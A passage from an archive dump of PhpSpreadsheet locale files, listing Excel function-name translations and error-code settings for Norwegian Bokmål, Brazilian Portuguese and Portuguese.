PHI = PHI POISSON.DIST = POISSON.FORDELING PROB = SANNSYNLIG QUARTILE.EXC = KVARTIL.EKS QUARTILE.INC = KVARTIL.INK RANK.AVG = RANG.GJSN RANK.EQ = RANG.EKV RSQ = RKVADRAT SKEW = SKJEVFORDELING SKEW.P = SKJEVFORDELING.P SLOPE = STIGNINGSTALL SMALL = N.MINST STANDARDIZE = NORMALISER STDEV.P = STDAV.P STDEV.S = STDAV.S STDEVA = STDAVVIKA STDEVPA = STDAVVIKPA STEYX = STANDARDFEIL T.DIST = T.FORDELING T.DIST.2T = T.FORDELING.2T T.DIST.RT = T.FORDELING.H T.INV = T.INV T.INV.2T = T.INV.2T T.TEST = T.TEST TREND = TREND TRIMMEAN = TRIMMET.GJENNOMSNITT VAR.P = VARIANS.P VAR.S = VARIANS.S VARA = VARIANSA VARPA = VARIANSPA WEIBULL.DIST = WEIBULL.DIST.N Z.TEST = Z.TEST ## ## Tekstfunksjoner (Text Functions) ## ASC = STIGENDE BAHTTEXT = BAHTTEKST CHAR = TEGNKODE CLEAN = RENSK CODE = KODE CONCAT = KJED.SAMMEN DOLLAR = VALUTA EXACT = EKSAKT FIND = FINN FIXED = FASTSATT ISTHAIDIGIT = ERTHAISIFFER LEFT = VENSTRE LEN = LENGDE LOWER = SMÅ MID = DELTEKST NUMBERSTRING = TALLSTRENG NUMBERVALUE = TALLVERDI PHONETIC = FURIGANA PROPER = STOR.FORBOKSTAV REPLACE = ERSTATT REPT = GJENTA RIGHT = HØYRE SEARCH = SØK SUBSTITUTE = BYTT.UT T = T TEXT = TEKST TEXTJOIN = TEKST.KOMBINER THAIDIGIT = THAISIFFER THAINUMSOUND = THAINUMLYD THAINUMSTRING = THAINUMSTRENG THAISTRINGLENGTH = THAISTRENGLENGDE TRIM = TRIMME UNICHAR = UNICODETEGN UNICODE = UNICODE UPPER = STORE VALUE = VERDI ## ## Nettfunksjoner (Web Functions) ## ENCODEURL = URL.KODE FILTERXML = FILTRERXML WEBSERVICE = NETTJENESTE ## ## Kompatibilitetsfunksjoner (Compatibility Functions) ## BETADIST = BETA.FORDELING BETAINV = INVERS.BETA.FORDELING BINOMDIST = BINOM.FORDELING CEILING = AVRUND.GJELDENDE.MULTIPLUM CHIDIST = KJI.FORDELING CHIINV = INVERS.KJI.FORDELING CHITEST = KJI.TEST CONCATENATE = KJEDE.SAMMEN CONFIDENCE = KONFIDENS COVAR = KOVARIANS CRITBINOM = GRENSE.BINOM EXPONDIST = EKSP.FORDELING FDIST = FFORDELING FINV = FFORDELING.INVERS FLOOR = AVRUND.GJELDENDE.MULTIPLUM.NED FORECAST = PROGNOSE FTEST = FTEST GAMMADIST = GAMMAFORDELING GAMMAINV = GAMMAINV HYPGEOMDIST = HYPGEOM.FORDELING LOGINV = LOGINV LOGNORMDIST = LOGNORMFORD MODE = MODUS NEGBINOMDIST = NEGBINOM.FORDELING NORMDIST = NORMALFORDELING NORMINV = NORMINV NORMSDIST = NORMSFORDELING NORMSINV = NORMSINV PERCENTILE = PERSENTIL PERCENTRANK = PROSENTDEL POISSON = POISSON QUARTILE = KVARTIL RANK = RANG STDEV = STDAV STDEVP = STDAVP TDIST = TFORDELING TINV = TINV TTEST = TTEST VAR = VARIANS VARP = VARIANSP WEIBULL = WEIBULL.FORDELING ZTEST = ZTEST phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/locale/nb/config000064400000000463151676714400022536 0ustar00############################################################ ## ## PhpSpreadsheet - locale settings ## ## Norsk Bokmål (Norwegian Bokmål) ## ############################################################ ArgumentSeparator = ; ## ## Error Codes ## NULL DIV0 VALUE = #VERDI! REF NAME = #NAVN? NUM NA = #N/D phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/locale/pt/br/functions000064400000023147151676714400023734 0ustar00############################################################ ## ## PhpSpreadsheet - function name translations ## ## Português Brasileiro (Brazilian Portuguese) ## ############################################################ ## ## Funções de cubo (Cube Functions) ## CUBEKPIMEMBER = MEMBROKPICUBO CUBEMEMBER = MEMBROCUBO CUBEMEMBERPROPERTY = PROPRIEDADEMEMBROCUBO CUBERANKEDMEMBER = MEMBROCLASSIFICADOCUBO CUBESET = CONJUNTOCUBO CUBESETCOUNT = CONTAGEMCONJUNTOCUBO CUBEVALUE = VALORCUBO ## ## Funções de banco de dados (Database Functions) ## DAVERAGE = BDMÉDIA DCOUNT = BDCONTAR DCOUNTA = BDCONTARA DGET = BDEXTRAIR DMAX = BDMÁX DMIN = BDMÍN DPRODUCT = BDMULTIPL DSTDEV = BDEST DSTDEVP = BDDESVPA DSUM = BDSOMA DVAR = BDVAREST DVARP = BDVARP ## ## Funções de data e hora (Date & Time Functions) ## DATE = DATA DATEDIF = DATADIF DATESTRING = DATA.SÉRIE DATEVALUE = DATA.VALOR DAY = DIA DAYS = DIAS DAYS360 = DIAS360 EDATE = DATAM EOMONTH = FIMMÊS HOUR = HORA ISOWEEKNUM = NÚMSEMANAISO MINUTE = MINUTO MONTH = MÊS NETWORKDAYS = DIATRABALHOTOTAL NETWORKDAYS.INTL = DIATRABALHOTOTAL.INTL NOW = AGORA SECOND = SEGUNDO TIME = TEMPO TIMEVALUE = VALOR.TEMPO TODAY = HOJE WEEKDAY = DIA.DA.SEMANA WEEKNUM = NÚMSEMANA WORKDAY = DIATRABALHO WORKDAY.INTL = DIATRABALHO.INTL YEAR = ANO YEARFRAC = FRAÇÃOANO ## ## Funções de engenharia (Engineering Functions) ## BESSELI = BESSELI BESSELJ = BESSELJ BESSELK = BESSELK BESSELY = BESSELY BIN2DEC = BINADEC BIN2HEX = BINAHEX BIN2OCT = BINAOCT BITAND = BITAND BITLSHIFT = DESLOCESQBIT BITOR = BITOR BITRSHIFT = DESLOCDIRBIT BITXOR = BITXOR COMPLEX = COMPLEXO CONVERT = CONVERTER DEC2BIN = DECABIN DEC2HEX = DECAHEX DEC2OCT = DECAOCT DELTA = DELTA ERF = FUNERRO ERF.PRECISE = FUNERRO.PRECISO ERFC = FUNERROCOMPL ERFC.PRECISE = FUNERROCOMPL.PRECISO GESTEP = DEGRAU HEX2BIN = HEXABIN HEX2DEC = HEXADEC HEX2OCT = HEXAOCT IMABS = IMABS IMAGINARY = IMAGINÁRIO IMARGUMENT = IMARG IMCONJUGATE = IMCONJ IMCOS = IMCOS IMCOSH = IMCOSH IMCOT = IMCOT IMCSC = IMCOSEC IMCSCH = IMCOSECH IMDIV = IMDIV IMEXP = IMEXP IMLN = IMLN IMLOG10 = IMLOG10 IMLOG2 = IMLOG2 IMPOWER = IMPOT IMPRODUCT = IMPROD IMREAL = IMREAL IMSEC = IMSEC IMSECH = IMSECH IMSIN = IMSENO IMSINH = IMSENH IMSQRT = IMRAIZ IMSUB = IMSUBTR IMSUM = IMSOMA IMTAN = IMTAN OCT2BIN = OCTABIN OCT2DEC = OCTADEC OCT2HEX = OCTAHEX ## ## Funções financeiras (Financial Functions) ## ACCRINT = JUROSACUM ACCRINTM = JUROSACUMV AMORDEGRC = AMORDEGRC AMORLINC = AMORLINC COUPDAYBS = CUPDIASINLIQ COUPDAYS = CUPDIAS COUPDAYSNC = CUPDIASPRÓX COUPNCD = CUPDATAPRÓX COUPNUM = CUPNÚM COUPPCD = CUPDATAANT CUMIPMT = PGTOJURACUM CUMPRINC = PGTOCAPACUM DB = BD DDB = BDD DISC = DESC DOLLARDE = MOEDADEC DOLLARFR = MOEDAFRA DURATION = DURAÇÃO EFFECT = EFETIVA FV = VF FVSCHEDULE = VFPLANO INTRATE = TAXAJUROS IPMT = IPGTO IRR = TIR ISPMT = ÉPGTO MDURATION = MDURAÇÃO MIRR = MTIR NOMINAL = NOMINAL NPER = NPER NPV = VPL ODDFPRICE = PREÇOPRIMINC ODDFYIELD = LUCROPRIMINC ODDLPRICE = PREÇOÚLTINC ODDLYIELD = LUCROÚLTINC PDURATION = DURAÇÃOP PMT = PGTO PPMT = PPGTO PRICE = PREÇO PRICEDISC = PREÇODESC PRICEMAT = PREÇOVENC PV = VP RATE = TAXA RECEIVED = RECEBER RRI = TAXAJURO SLN = DPD SYD = SDA TBILLEQ = OTN TBILLPRICE = OTNVALOR TBILLYIELD = OTNLUCRO VDB = BDV XIRR = XTIR XNPV = XVPL YIELD = LUCRO YIELDDISC = LUCRODESC YIELDMAT = LUCROVENC ## ## Funções de informação (Information Functions) ## CELL = CÉL ERROR.TYPE = TIPO.ERRO INFO = INFORMAÇÃO ISBLANK = ÉCÉL.VAZIA ISERR = ÉERRO ISERROR = ÉERROS ISEVEN = ÉPAR ISFORMULA = ÉFÓRMULA ISLOGICAL = ÉLÓGICO ISNA = É.NÃO.DISP ISNONTEXT = É.NÃO.TEXTO ISNUMBER = ÉNÚM ISODD = ÉIMPAR ISREF = ÉREF ISTEXT = ÉTEXTO N = N NA = NÃO.DISP SHEET = PLAN SHEETS = PLANS TYPE = TIPO ## ## Funções lógicas (Logical Functions) ## AND = E FALSE = FALSO IF = SE IFERROR = SEERRO IFNA = SENÃODISP IFS = SES NOT = NÃO OR = OU SWITCH = PARÂMETRO TRUE = VERDADEIRO XOR = XOR ## ## Funções de pesquisa e referência (Lookup & Reference Functions) ## ADDRESS = ENDEREÇO AREAS = ÁREAS CHOOSE = ESCOLHER COLUMN = COL COLUMNS = COLS FORMULATEXT = FÓRMULATEXTO GETPIVOTDATA = INFODADOSTABELADINÂMICA HLOOKUP = PROCH HYPERLINK = HIPERLINK INDEX = ÍNDICE INDIRECT = INDIRETO LOOKUP = PROC MATCH = CORRESP OFFSET = DESLOC ROW = LIN ROWS = LINS RTD = RTD TRANSPOSE = TRANSPOR VLOOKUP = PROCV *RC = LC ## ## Funções matemáticas e trigonométricas (Math & Trig Functions) ## ABS = ABS ACOS = ACOS ACOSH = ACOSH ACOT = ACOT ACOTH = ACOTH AGGREGATE = AGREGAR ARABIC = ARÁBICO ASIN = ASEN ASINH = ASENH ATAN = ATAN ATAN2 = ATAN2 ATANH = ATANH BASE = BASE CEILING.MATH = TETO.MAT CEILING.PRECISE = TETO.PRECISO COMBIN = COMBIN COMBINA = COMBINA COS = COS COSH = COSH COT = COT COTH = COTH CSC = COSEC CSCH = COSECH DECIMAL = DECIMAL DEGREES = GRAUS ECMA.CEILING = ECMA.TETO EVEN = PAR EXP = EXP FACT = FATORIAL FACTDOUBLE = FATDUPLO FLOOR.MATH = ARREDMULTB.MAT FLOOR.PRECISE = ARREDMULTB.PRECISO GCD = MDC INT = INT ISO.CEILING = ISO.TETO LCM = MMC LN = LN LOG = LOG LOG10 = LOG10 MDETERM = MATRIZ.DETERM MINVERSE = MATRIZ.INVERSO MMULT = MATRIZ.MULT MOD = MOD MROUND = MARRED MULTINOMIAL = MULTINOMIAL MUNIT = MUNIT ODD = ÍMPAR PI = PI POWER = POTÊNCIA PRODUCT = MULT QUOTIENT = QUOCIENTE RADIANS = RADIANOS RAND = ALEATÓRIO RANDBETWEEN = ALEATÓRIOENTRE ROMAN = ROMANO ROUND = ARRED ROUNDDOWN = ARREDONDAR.PARA.BAIXO ROUNDUP = ARREDONDAR.PARA.CIMA SEC = SEC SECH = SECH SERIESSUM = SOMASEQÜÊNCIA SIGN = SINAL SIN = SEN SINH = SENH SQRT = RAIZ SQRTPI = RAIZPI SUBTOTAL = SUBTOTAL SUM = SOMA SUMIF = SOMASE SUMIFS = SOMASES SUMPRODUCT = SOMARPRODUTO SUMSQ = SOMAQUAD SUMX2MY2 = SOMAX2DY2 SUMX2PY2 = SOMAX2SY2 SUMXMY2 = SOMAXMY2 TAN = TAN TANH = TANH TRUNC = TRUNCAR ## ## Funções estatísticas (Statistical Functions) ## AVEDEV = DESV.MÉDIO AVERAGE = MÉDIA AVERAGEA = MÉDIAA AVERAGEIF = MÉDIASE AVERAGEIFS = MÉDIASES BETA.DIST = DIST.BETA BETA.INV = INV.BETA BINOM.DIST = DISTR.BINOM BINOM.DIST.RANGE = INTERV.DISTR.BINOM BINOM.INV = INV.BINOM CHISQ.DIST = DIST.QUIQUA CHISQ.DIST.RT = DIST.QUIQUA.CD CHISQ.INV = INV.QUIQUA CHISQ.INV.RT = INV.QUIQUA.CD CHISQ.TEST = TESTE.QUIQUA CONFIDENCE.NORM = INT.CONFIANÇA.NORM CONFIDENCE.T = INT.CONFIANÇA.T CORREL = CORREL COUNT = CONT.NÚM COUNTA = CONT.VALORES COUNTBLANK = CONTAR.VAZIO COUNTIF = CONT.SE COUNTIFS = CONT.SES COVARIANCE.P = COVARIAÇÃO.P COVARIANCE.S = COVARIAÇÃO.S DEVSQ = DESVQ EXPON.DIST = DISTR.EXPON F.DIST = DIST.F F.DIST.RT = DIST.F.CD F.INV = INV.F F.INV.RT = INV.F.CD F.TEST = TESTE.F FISHER = FISHER FISHERINV = FISHERINV FORECAST.ETS = PREVISÃO.ETS FORECAST.ETS.CONFINT = PREVISÃO.ETS.CONFINT FORECAST.ETS.SEASONALITY = PREVISÃO.ETS.SAZONALIDADE FORECAST.ETS.STAT = PREVISÃO.ETS.STAT FORECAST.LINEAR = PREVISÃO.LINEAR FREQUENCY = FREQÜÊNCIA GAMMA = GAMA GAMMA.DIST = DIST.GAMA GAMMA.INV = INV.GAMA GAMMALN = LNGAMA GAMMALN.PRECISE = LNGAMA.PRECISO GAUSS = GAUSS GEOMEAN = MÉDIA.GEOMÉTRICA GROWTH = CRESCIMENTO HARMEAN = MÉDIA.HARMÔNICA HYPGEOM.DIST = DIST.HIPERGEOM.N INTERCEPT = INTERCEPÇÃO KURT = CURT LARGE = MAIOR LINEST = PROJ.LIN LOGEST = PROJ.LOG LOGNORM.DIST = DIST.LOGNORMAL.N LOGNORM.INV = INV.LOGNORMAL MAX = MÁXIMO MAXA = MÁXIMOA MAXIFS = MÁXIMOSES MEDIAN = MED MIN = MÍNIMO MINA = MÍNIMOA MINIFS = MÍNIMOSES MODE.MULT = MODO.MULT MODE.SNGL = MODO.ÚNICO NEGBINOM.DIST = DIST.BIN.NEG.N NORM.DIST = DIST.NORM.N NORM.INV = INV.NORM.N NORM.S.DIST = DIST.NORMP.N NORM.S.INV = INV.NORMP.N PEARSON = PEARSON PERCENTILE.EXC = PERCENTIL.EXC PERCENTILE.INC = PERCENTIL.INC PERCENTRANK.EXC = ORDEM.PORCENTUAL.EXC PERCENTRANK.INC = ORDEM.PORCENTUAL.INC PERMUT = PERMUT PERMUTATIONA = PERMUTAS PHI = PHI POISSON.DIST = DIST.POISSON PROB = PROB QUARTILE.EXC = QUARTIL.EXC QUARTILE.INC = QUARTIL.INC RANK.AVG = ORDEM.MÉD RANK.EQ = ORDEM.EQ RSQ = RQUAD SKEW = DISTORÇÃO SKEW.P = DISTORÇÃO.P SLOPE = INCLINAÇÃO SMALL = MENOR STANDARDIZE = PADRONIZAR STDEV.P = DESVPAD.P STDEV.S = DESVPAD.A STDEVA = DESVPADA STDEVPA = DESVPADPA STEYX = EPADYX T.DIST = DIST.T T.DIST.2T = DIST.T.BC T.DIST.RT = DIST.T.CD T.INV = INV.T T.INV.2T = INV.T.BC T.TEST = TESTE.T TREND = TENDÊNCIA TRIMMEAN = MÉDIA.INTERNA VAR.P = VAR.P VAR.S = VAR.A VARA = VARA VARPA = VARPA WEIBULL.DIST = DIST.WEIBULL Z.TEST = TESTE.Z ## ## Funções de texto (Text Functions) ## BAHTTEXT = BAHTTEXT CHAR = CARACT CLEAN = TIRAR CODE = CÓDIGO CONCAT = CONCAT DOLLAR = MOEDA EXACT = EXATO FIND = PROCURAR FIXED = DEF.NÚM.DEC LEFT = ESQUERDA LEN = NÚM.CARACT LOWER = MINÚSCULA MID = EXT.TEXTO NUMBERSTRING = SEQÜÊNCIA.NÚMERO NUMBERVALUE = VALORNUMÉRICO PHONETIC = FONÉTICA PROPER = PRI.MAIÚSCULA REPLACE = MUDAR REPT = REPT RIGHT = DIREITA SEARCH = LOCALIZAR SUBSTITUTE = SUBSTITUIR T = T TEXT = TEXTO TEXTJOIN = UNIRTEXTO TRIM = ARRUMAR UNICHAR = CARACTUNICODE UNICODE = UNICODE UPPER = MAIÚSCULA VALUE = VALOR ## ## Funções da Web (Web Functions) ## ENCODEURL = CODIFURL FILTERXML = FILTROXML WEBSERVICE = SERVIÇOWEB ## ## Funções de compatibilidade (Compatibility Functions) ## BETADIST = DISTBETA BETAINV = BETA.ACUM.INV BINOMDIST = DISTRBINOM CEILING = TETO CHIDIST = DIST.QUI CHIINV = INV.QUI CHITEST = TESTE.QUI CONCATENATE = CONCATENAR CONFIDENCE = INT.CONFIANÇA COVAR = COVAR CRITBINOM = CRIT.BINOM EXPONDIST = DISTEXPON FDIST = DISTF FINV = INVF FLOOR = ARREDMULTB FORECAST = PREVISÃO FTEST = TESTEF GAMMADIST = DISTGAMA GAMMAINV = INVGAMA HYPGEOMDIST = DIST.HIPERGEOM LOGINV = INVLOG LOGNORMDIST = DIST.LOGNORMAL MODE = MODO NEGBINOMDIST = DIST.BIN.NEG NORMDIST = DISTNORM NORMINV = INV.NORM NORMSDIST = DISTNORMP NORMSINV = INV.NORMP PERCENTILE = PERCENTIL PERCENTRANK = ORDEM.PORCENTUAL POISSON = POISSON QUARTILE = QUARTIL RANK = ORDEM STDEV = DESVPAD STDEVP = DESVPADP TDIST = DISTT TINV = INVT TTEST = TESTET VAR = VAR VARP = VARP WEIBULL = WEIBULL ZTEST = TESTEZ phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/locale/pt/br/config000064400000000520151676714400023157 0ustar00############################################################ ## ## PhpSpreadsheet - locale settings ## ## Português Brasileiro (Brazilian Portuguese) ## ############################################################ ArgumentSeparator = ; ## ## Error Codes ## NULL = #NULO! DIV0 VALUE = #VALOR! REF NAME = #NOME? NUM = #NÚM! NA = #N/D phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/locale/pt/functions000064400000023777151676714400023342 0ustar00############################################################ ## ## PhpSpreadsheet - function name translations ## ## Português (Portuguese) ## ############################################################ ## ## Funções de cubo (Cube Functions) ## CUBEKPIMEMBER = MEMBROKPICUBO CUBEMEMBER = MEMBROCUBO CUBEMEMBERPROPERTY = PROPRIEDADEMEMBROCUBO CUBERANKEDMEMBER = MEMBROCLASSIFICADOCUBO CUBESET = CONJUNTOCUBO CUBESETCOUNT = CONTARCONJUNTOCUBO CUBEVALUE = VALORCUBO ## ## Funções de base de dados (Database Functions) ## DAVERAGE = BDMÉDIA DCOUNT = BDCONTAR DCOUNTA = BDCONTAR.VAL DGET = BDOBTER DMAX = BDMÁX DMIN = BDMÍN DPRODUCT = BDMULTIPL DSTDEV = BDDESVPAD DSTDEVP = BDDESVPADP DSUM = BDSOMA DVAR = BDVAR DVARP = BDVARP ## ## Funções de data e hora (Date & Time Functions) ## DATE = DATA DATEDIF = DATADIF DATESTRING = DATA.CADEIA DATEVALUE = DATA.VALOR DAY = DIA DAYS = DIAS DAYS360 = DIAS360 EDATE = DATAM EOMONTH = FIMMÊS HOUR = HORA ISOWEEKNUM = NUMSEMANAISO MINUTE = MINUTO MONTH = MÊS NETWORKDAYS = DIATRABALHOTOTAL NETWORKDAYS.INTL = DIATRABALHOTOTAL.INTL NOW = AGORA SECOND = SEGUNDO THAIDAYOFWEEK = DIA.DA.SEMANA.TAILANDÊS THAIMONTHOFYEAR = MÊS.DO.ANO.TAILANDÊS THAIYEAR = ANO.TAILANDÊS TIME = TEMPO TIMEVALUE = VALOR.TEMPO TODAY = HOJE WEEKDAY = DIA.SEMANA WEEKNUM = NÚMSEMANA WORKDAY = DIATRABALHO WORKDAY.INTL = DIATRABALHO.INTL YEAR = ANO YEARFRAC = FRAÇÃOANO ## ## Funções de engenharia (Engineering Functions) ## BESSELI = BESSELI BESSELJ = BESSELJ BESSELK = BESSELK BESSELY = BESSELY BIN2DEC = BINADEC BIN2HEX = BINAHEX BIN2OCT = BINAOCT BITAND = BIT.E BITLSHIFT = BITDESL.ESQ BITOR = BIT.OU BITRSHIFT = BITDESL.DIR BITXOR = BIT.XOU COMPLEX = COMPLEXO CONVERT = CONVERTER DEC2BIN = DECABIN DEC2HEX = DECAHEX DEC2OCT = DECAOCT DELTA = DELTA ERF = FUNCERRO ERF.PRECISE = FUNCERRO.PRECISO ERFC = FUNCERROCOMPL ERFC.PRECISE = FUNCERROCOMPL.PRECISO GESTEP = DEGRAU HEX2BIN = HEXABIN HEX2DEC = HEXADEC HEX2OCT = HEXAOCT IMABS = IMABS IMAGINARY = IMAGINÁRIO IMARGUMENT = IMARG IMCONJUGATE = IMCONJ IMCOS = IMCOS IMCOSH = IMCOSH IMCOT = IMCOT IMCSC = IMCSC IMCSCH = IMCSCH IMDIV = IMDIV IMEXP = IMEXP IMLN = IMLN IMLOG10 = IMLOG10 IMLOG2 = IMLOG2 IMPOWER = IMPOT IMPRODUCT = IMPROD IMREAL = IMREAL IMSEC = IMSEC IMSECH = IMSECH IMSIN = IMSENO IMSINH = IMSENOH IMSQRT = IMRAIZ IMSUB = IMSUBTR IMSUM = IMSOMA IMTAN = IMTAN OCT2BIN = OCTABIN OCT2DEC = OCTADEC OCT2HEX = OCTAHEX ## ## Funções financeiras (Financial Functions) ## ACCRINT = JUROSACUM ACCRINTM = JUROSACUMV AMORDEGRC = AMORDEGRC AMORLINC = AMORLINC COUPDAYBS = CUPDIASINLIQ COUPDAYS = CUPDIAS COUPDAYSNC = CUPDIASPRÓX COUPNCD = CUPDATAPRÓX COUPNUM = CUPNÚM COUPPCD = CUPDATAANT CUMIPMT = PGTOJURACUM CUMPRINC = PGTOCAPACUM DB = BD DDB = BDD DISC = DESC DOLLARDE = MOEDADEC DOLLARFR = MOEDAFRA DURATION = DURAÇÃO EFFECT = EFETIVA FV = VF FVSCHEDULE = VFPLANO INTRATE = TAXAJUROS IPMT = IPGTO IRR = TIR ISPMT = É.PGTO MDURATION = MDURAÇÃO MIRR = MTIR NOMINAL = NOMINAL NPER = NPER NPV = VAL ODDFPRICE = PREÇOPRIMINC ODDFYIELD = LUCROPRIMINC ODDLPRICE = PREÇOÚLTINC ODDLYIELD = LUCROÚLTINC PDURATION = PDURAÇÃO PMT = PGTO PPMT = PPGTO PRICE = PREÇO PRICEDISC = PREÇODESC PRICEMAT = PREÇOVENC PV = VA RATE = TAXA RECEIVED = RECEBER RRI = DEVOLVERTAXAJUROS SLN = AMORT SYD = AMORTD TBILLEQ = OTN TBILLPRICE = OTNVALOR TBILLYIELD = OTNLUCRO VDB = BDV XIRR = XTIR XNPV = XVAL YIELD = LUCRO YIELDDISC = LUCRODESC YIELDMAT = LUCROVENC ## ## Funções de informação (Information Functions) ## CELL = CÉL ERROR.TYPE = TIPO.ERRO INFO = INFORMAÇÃO ISBLANK = É.CÉL.VAZIA ISERR = É.ERROS ISERROR = É.ERRO ISEVEN = ÉPAR ISFORMULA = É.FORMULA ISLOGICAL = É.LÓGICO ISNA = É.NÃO.DISP ISNONTEXT = É.NÃO.TEXTO ISNUMBER = É.NÚM ISODD = ÉÍMPAR ISREF = É.REF ISTEXT = É.TEXTO N = N NA = NÃO.DISP SHEET = FOLHA SHEETS = FOLHAS TYPE = TIPO ## ## Funções lógicas (Logical Functions) ## AND = E FALSE = FALSO IF = SE IFERROR = SE.ERRO IFNA = SEND IFS = SE.S NOT = NÃO OR = OU SWITCH = PARÂMETRO TRUE = VERDADEIRO XOR = XOU ## ## Funções de pesquisa e referência (Lookup & Reference Functions) ## ADDRESS = ENDEREÇO AREAS = ÁREAS CHOOSE = SELECIONAR COLUMN = COL COLUMNS = COLS FORMULATEXT = FÓRMULA.TEXTO GETPIVOTDATA = OBTERDADOSDIN HLOOKUP = PROCH HYPERLINK = HIPERLIGAÇÃO INDEX = ÍNDICE INDIRECT = INDIRETO LOOKUP = PROC MATCH = CORRESP OFFSET = DESLOCAMENTO ROW = LIN ROWS = LINS RTD = RTD TRANSPOSE = TRANSPOR VLOOKUP = PROCV *RC = LC ## ## Funções matemáticas e trigonométricas (Math & Trig Functions) ## ABS = ABS ACOS = ACOS ACOSH = ACOSH ACOT = ACOT ACOTH = ACOTH AGGREGATE = AGREGAR ARABIC = ÁRABE ASIN = ASEN ASINH = ASENH ATAN = ATAN ATAN2 = ATAN2 ATANH = ATANH BASE = BASE CEILING.MATH = ARRED.EXCESSO.MAT CEILING.PRECISE = ARRED.EXCESSO.PRECISO COMBIN = COMBIN COMBINA = COMBIN.R COS = COS COSH = COSH COT = COT COTH = COTH CSC = CSC CSCH = CSCH DECIMAL = DECIMAL DEGREES = GRAUS ECMA.CEILING = ARRED.EXCESSO.ECMA EVEN = PAR EXP = EXP FACT = FATORIAL FACTDOUBLE = FATDUPLO FLOOR.MATH = ARRED.DEFEITO.MAT FLOOR.PRECISE = ARRED.DEFEITO.PRECISO GCD = MDC INT = INT ISO.CEILING = ARRED.EXCESSO.ISO LCM = MMC LN = LN LOG = LOG LOG10 = LOG10 MDETERM = MATRIZ.DETERM MINVERSE = MATRIZ.INVERSA MMULT = MATRIZ.MULT MOD = RESTO MROUND = MARRED MULTINOMIAL = POLINOMIAL MUNIT = UNIDM ODD = ÍMPAR PI = PI POWER = POTÊNCIA PRODUCT = PRODUTO QUOTIENT = QUOCIENTE RADIANS = RADIANOS RAND = ALEATÓRIO RANDBETWEEN = ALEATÓRIOENTRE ROMAN = ROMANO ROUND = ARRED ROUNDBAHTDOWN = ARREDOND.BAHT.BAIXO ROUNDBAHTUP = ARREDOND.BAHT.CIMA ROUNDDOWN = ARRED.PARA.BAIXO ROUNDUP = ARRED.PARA.CIMA SEC = SEC SECH = SECH SERIESSUM = SOMASÉRIE SIGN = SINAL SIN = SEN SINH = SENH SQRT = RAIZQ SQRTPI = RAIZPI SUBTOTAL = SUBTOTAL SUM = SOMA SUMIF = SOMA.SE SUMIFS = SOMA.SE.S SUMPRODUCT = SOMARPRODUTO SUMSQ = SOMARQUAD SUMX2MY2 = SOMAX2DY2 SUMX2PY2 = SOMAX2SY2 SUMXMY2 = SOMAXMY2 TAN = TAN TANH = TANH TRUNC = TRUNCAR ## ## Funções estatísticas (Statistical Functions) ## AVEDEV = DESV.MÉDIO AVERAGE = MÉDIA AVERAGEA = MÉDIAA AVERAGEIF = MÉDIA.SE AVERAGEIFS = MÉDIA.SE.S BETA.DIST = DIST.BETA BETA.INV = INV.BETA BINOM.DIST = DISTR.BINOM BINOM.DIST.RANGE = DIST.BINOM.INTERVALO BINOM.INV = INV.BINOM CHISQ.DIST = DIST.CHIQ CHISQ.DIST.RT = DIST.CHIQ.DIR CHISQ.INV = INV.CHIQ CHISQ.INV.RT = INV.CHIQ.DIR CHISQ.TEST = TESTE.CHIQ CONFIDENCE.NORM = INT.CONFIANÇA.NORM CONFIDENCE.T = INT.CONFIANÇA.T CORREL = CORREL COUNT = CONTAR COUNTA = CONTAR.VAL COUNTBLANK = CONTAR.VAZIO COUNTIF = CONTAR.SE COUNTIFS = CONTAR.SE.S COVARIANCE.P = COVARIÂNCIA.P COVARIANCE.S = COVARIÂNCIA.S DEVSQ = DESVQ EXPON.DIST = DIST.EXPON F.DIST = DIST.F F.DIST.RT = DIST.F.DIR F.INV = INV.F F.INV.RT = INV.F.DIR F.TEST = TESTE.F FISHER = FISHER FISHERINV = FISHERINV FORECAST.ETS = PREVISÃO.ETS FORECAST.ETS.CONFINT = PREVISÃO.ETS.CONFINT FORECAST.ETS.SEASONALITY = PREVISÃO.ETS.SAZONALIDADE FORECAST.ETS.STAT = PREVISÃO.ETS.ESTATÍSTICA FORECAST.LINEAR = PREVISÃO.LINEAR FREQUENCY = FREQUÊNCIA GAMMA = GAMA GAMMA.DIST = DIST.GAMA GAMMA.INV = INV.GAMA GAMMALN = LNGAMA GAMMALN.PRECISE = LNGAMA.PRECISO GAUSS = GAUSS GEOMEAN = MÉDIA.GEOMÉTRICA GROWTH = CRESCIMENTO HARMEAN = MÉDIA.HARMÓNICA HYPGEOM.DIST = DIST.HIPGEOM INTERCEPT = INTERCETAR KURT = CURT LARGE = MAIOR LINEST = PROJ.LIN LOGEST = PROJ.LOG LOGNORM.DIST = DIST.NORMLOG LOGNORM.INV = INV.NORMALLOG MAX = MÁXIMO MAXA = MÁXIMOA MAXIFS = MÁXIMO.SE.S MEDIAN = MED MIN = MÍNIMO MINA = MÍNIMOA MINIFS = MÍNIMO.SE.S MODE.MULT = MODO.MÚLT MODE.SNGL = MODO.SIMPLES NEGBINOM.DIST = DIST.BINOM.NEG NORM.DIST = DIST.NORMAL NORM.INV = INV.NORMAL NORM.S.DIST = DIST.S.NORM NORM.S.INV = INV.S.NORM PEARSON = PEARSON PERCENTILE.EXC = PERCENTIL.EXC PERCENTILE.INC = PERCENTIL.INC PERCENTRANK.EXC = ORDEM.PERCENTUAL.EXC PERCENTRANK.INC = ORDEM.PERCENTUAL.INC PERMUT = PERMUTAR PERMUTATIONA = PERMUTAR.R PHI = PHI POISSON.DIST = DIST.POISSON PROB = PROB QUARTILE.EXC = QUARTIL.EXC QUARTILE.INC = QUARTIL.INC RANK.AVG = ORDEM.MÉD RANK.EQ = ORDEM.EQ RSQ = RQUAD SKEW = DISTORÇÃO SKEW.P = DISTORÇÃO.P SLOPE = DECLIVE SMALL = MENOR STANDARDIZE = NORMALIZAR STDEV.P = DESVPAD.P STDEV.S = DESVPAD.S STDEVA = DESVPADA STDEVPA = DESVPADPA STEYX = EPADYX T.DIST = DIST.T T.DIST.2T = DIST.T.2C T.DIST.RT = DIST.T.DIR T.INV = INV.T T.INV.2T = INV.T.2C T.TEST = TESTE.T TREND = TENDÊNCIA TRIMMEAN = MÉDIA.INTERNA VAR.P = VAR.P VAR.S = VAR.S VARA = VARA VARPA = VARPA WEIBULL.DIST = DIST.WEIBULL Z.TEST = TESTE.Z ## ## Funções de texto (Text Functions) ## BAHTTEXT = TEXTO.BAHT CHAR = 